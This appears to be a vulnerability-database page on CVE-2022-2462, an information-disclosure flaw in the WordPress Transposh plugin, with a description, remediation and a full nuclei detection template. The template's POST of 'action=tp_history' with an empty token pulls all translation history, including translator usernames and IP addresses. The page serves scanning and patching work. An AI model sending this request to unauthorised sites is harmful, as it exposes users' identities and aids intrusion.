HexBrain

Browse / CVEs / CVE-2022-2462

CVE-2022-2462· transposh / transposh wordpress translation· CWE-200

WordPress Transposh <=1.0.8.1 - Information Disclosure

mediumseverity
5.3CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute. If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the target system.

Fix

Upgrade to the latest version of the WordPress Transposh plugin (>=1.0.8.2) to mitigate this vulnerability.

How to confirm it

Send: POST {{BaseURL}}/wp-admin/admin-ajax.php
Positive when: len(transposh) > 0 AND contains "translated" and "translated_by" and "timestamp" and "source" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2462 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-2462

info:
  name: WordPress Transposh <=1.0.8.1 - Information Disclosure
  author: dwisiswant0
  severity: medium
  description: |
    WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute.  If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Upgrade to the latest version of the WordPress Transposh plugin (>=1.0.8.2) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
    - https://github.com/oferwald/transposh
    - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2462
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2462
    cwe-id: CWE-200
    epss-score: 0.03798
    epss-percentile: 0.90092
    cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: transposh
    product: transposh_wordpress_translation
    framework: wordpress
  tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm,transposh,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "len(transposh) > 0" # 'transposh' equivalent for Transposh header key

      - type: word
        part: body
        words:
          # because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
          - "translated"
          - "translated_by"
          - "timestamp"
          - "source"
          - "user_login"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from